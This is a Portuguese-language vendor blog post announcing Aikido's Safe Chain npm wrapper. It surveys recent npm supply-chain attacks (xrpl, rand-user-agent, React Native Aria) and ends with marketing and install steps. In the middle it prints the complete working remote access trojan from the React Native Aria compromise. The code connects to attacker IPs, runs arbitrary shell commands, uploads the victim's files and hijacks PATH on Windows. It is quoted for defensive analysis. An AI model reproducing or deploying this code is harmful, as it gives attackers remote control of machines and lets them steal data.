Aikido

Apresentando Safe Chain: Parando Pacotes npm Maliciosos Antes Que Eles Destruam Seu Projeto

Mackenzie JacksonMackenzie Jackson
|
#
#
#

TLDR:
Acabámos de lançar Aikido , um invólucro seguro para npm, npx e yarn que se integra ao seu fluxo de trabalho atual e verifica todos os pacotes em busca de malware antes da instalação. Ele protege você contra confusão de dependências, backdoors, typosquats e outras ameaças à cadeia de suprimentos em tempo real, sem alterar o seu fluxo de trabalho.



O npm install é basicamente a roleta russa do desenvolvimento moderno. Um pacote errado, um erro de digitação sorrateiro e, de repente, você deu a um grupo APT norte-coreano as chaves do seu ambiente de produção. Divertido, não é?

Mas os Estados-nação, os grupos de cibercriminosos e os mantenedores desonestos descobriram uma coisa: a maneira mais fácil de violar o software moderno é passar diretamente pelo desenvolvedor. E que maneira melhor do que introduzir malware nos pacotes de código aberto que instalamos cegamente todos os dias?

É por isso que criámos a Aikido Chain, um wrapper para npm, npx e até mesmo yarn que funciona como um segurança para as suas dependências. Ele verifica se os pacotes contêm malware conhecido antes de serem instalados no seu projeto, sem exigir que você altere o seu fluxo de trabalho.

Mas antes de nos aprofundarmos em como o Safe-Chain impede que a sua máquina de desenvolvimento se torne uma botnet de mineração de criptomoedas, vamos falar sobre por que esse problema existe.

Por que os pacotes NPM são um alvo tão atraente?

Aqui está a verdade nua e crua: já não sabe realmente o que está na sua aplicação.

Aproximadamente 70-90% de qualquer software moderno é composto por código aberto, de acordo com a Linux Foundation. Você não o escreveu. Você não o auditou. E aqui está o ponto principal: a maior parte dele nem sequer foi instalada diretamente por você. Ele veio através de dependências transitivas, um termo sofisticado para "algum pacote aleatório cinco camadas abaixo decidiu trazer toda a sua árvore genealógica junto".

Uma única instalação npm pode puxar dezenas, às vezes centenas, de pacotes, cada um com potencial para executar código arbitrário graças aos ganchos de instalação.

Se um agente mal-intencionado conseguir infiltrar o seu malware em apenas um desses pacotes, seja invadindo a conta de um mantenedor, através de confusão de dependências ou publicando uma versão com erros ortográficos, ele poderá atingir milhares de projetos de uma só vez. 

Não são apenas conversas: ataques reais que detectámos

Desde o início de 2025, a equipa de segurança Aikidodescobriu uma série de pacotes maliciosos, incluindo mais de 6.000 só em junho. Aqui estão algumas das coisas que encontramos. 

A porta dos fundos oficial do XRP 

Em abril, invasores comprometeram o pacote oficial xrpl npm, usado para interagir com a blockchain XRP. Eles introduziram novas versões que silenciosamente exfiltravam secrets de carteiras para um servidor remoto sempre que um objeto Wallet era criado.

Se essa porta dos fundos tivesse sido instalada por bolsas de criptomoedas, poderia ter facilitado os maiores roubos de criptomoedas da história. A equipa Aikidopercebeu as versões adulteradas do pacote 45 minutos após a sua publicação e alertou a equipa da XRP. 

O RAT Party do rand-user-agent

Algumas semanas depois, os atacantes inseriram um Trojan de Acesso Remoto (RAT) no pacote rand-user-agent, um utilitário aparentemente enfadonho para gerar strings falsas de navegador. Uma vez instalado, o malware criou uma porta dos fundos, conectou-se a um servidor de comando e controlo e aguardou ordens como um agente adormecido obediente.

Isso incluía cargas ofuscadas, um sequestro de PATH para Windows e truques inteligentes para instalar módulos adicionais em diretórios secretos.

O invasor usou espaços em branco para ocultar código malicioso fora da tela

Dezessete bibliotecas, um ataque a um Estado-nação

Junho testemunhou um ataque em grande escala ao ecossistema React Native Aria: 17 bibliotecas front-end foram sequestradas por meio de um token comprometido do mantenedor GlueStack. No total, os pacotes tinham mais de um milhão de downloads semanais, o que significa que isso poderia ter tido um impacto absolutamente catastrófico no ecossistema React Native. 

Uma porta traseira ofuscada foi inserida como um RAT que permitiu ao invasor acesso total à infraestrutura em que era executada, incluindo a capacidade de entregar remotamente mais malware.

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Explorações invisíveis, ofuscação e espaços em branco

Pode pensar que detectar malware seria bastante fácil, identificando IPs remotos, scripts de instalação estranhos ou código altamente ofuscado. Embora alguns malwares sejam mais fáceis de detectar do que outros, mesmo que fizesse uma revisão completa do código em todas as suas dependências (boa sorte). Alguns malwares são tão sofisticados que passariam despercebidos. Por exemplo, o os-info-checker-es6 usava caracteres Unicode invisíveis, não visíveis em um editor de código normal, para distribuir o seu malware. Ou malwares distribuídos em imagens como *****, ou talvez o mais engraçado, malwares ocultos por espaços em branco (um método de ofuscação estúpido, mas surpreendentemente eficaz) como react-html2pdf.js. 

PUA Unicode invisível não visível em editores de código ou na visualização de código NPM

Por que o Safe-Chain é a ferramenta de que precisa agora

Todos nós adoramos o código aberto. Mas as ferramentas de segurança modernas? Nem tanto. Elas costumam ser pesadas, barulhentas e fazem você se sentir como se estivesse a tentar aprender a pilotar um caça a jato. 

demonstração
Corrente segura em ação

Você tem a mesma experiência de desenvolvedor, só que com um colete de Kevlar por baixo.

Por que a Safe Chain é muito superior a outras ferramentas

Ferramentas como npm audit e npq não só precisam ser executadas como etapas adicionais, mas também dependem de CVEs públicas ou heurísticas básicas. Elas são adequadas para problemas conhecidos, mas não detectam os zero-days, e o tempo entre a instalação de um pacote malicioso e a sua denúncia é de cerca de 10 dias. Tempo suficiente para que os agentes de ameaças se infiltrem profundamente na sua infraestrutura. 

O Safe-Chain é desenvolvido pela Aikido , o nosso canal de ameaças que deteta cerca de 200 pacotes maliciosos por dia, antes que eles apareçam nas bases de dados de vulnerabilidades.

E, ao contrário de outras ferramentas que detectam ameaças após o facto, o Safe-Chain impede-as antes que sejam instaladas. Nada se quebra, exceto os sonhos do potencial invasor.

Considerações finais: Não espere. Verifique.

O ecossistema npm é uma maravilha moderna, uma catedral de colaboração, velocidade e... malware. Não podemos mudar o mundo do código aberto da noite para o dia, mas podemos fornecer as ferramentas para você navegar nele com segurança.

A esperança não é uma estratégia de segurança.

Com o Safe-Chain, não fica a adivinhar. Está a verificar. Cada instalação npm é verificada em tempo real. Sem backdoors. Sem roubo de criptomoedas. Sem RATs surpresa a festejar no seu portátil.

Instalar Cadeia segura Hoje

A instalação da correnteAikido é fácil. Basta seguir três passos simples:

Instale o pacote Aikido Chain globalmente usando o npm:
npm install -g @aikidosec/safe-chain

Configure a integração do shell executando:
configuração da cadeia segura

❗Reinicie o seu terminal para começar a usar a Aikido Chain.

  • Esta etapa é crucial, pois garante que os aliases do shell para npm, npx e yarn sejam carregados corretamente. Se não reiniciar o terminal, os aliases não estarão disponíveis.

Verifique a instalação executando:
npm instalar safe-chain-test

  • A saída deve mostrar que Aikido Chain está a bloquear a instalação deste pacote, pois ele está marcado como malware. (A instalação deste pacote não apresenta riscos.)

4.7/5

Proteja seu software agora

Comece Gratuitamente
Não é necessário cc
Agendar uma demonstração
Seus dados não serão compartilhados · Acesso somente leitura · Não é necessário cartão de crédito

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.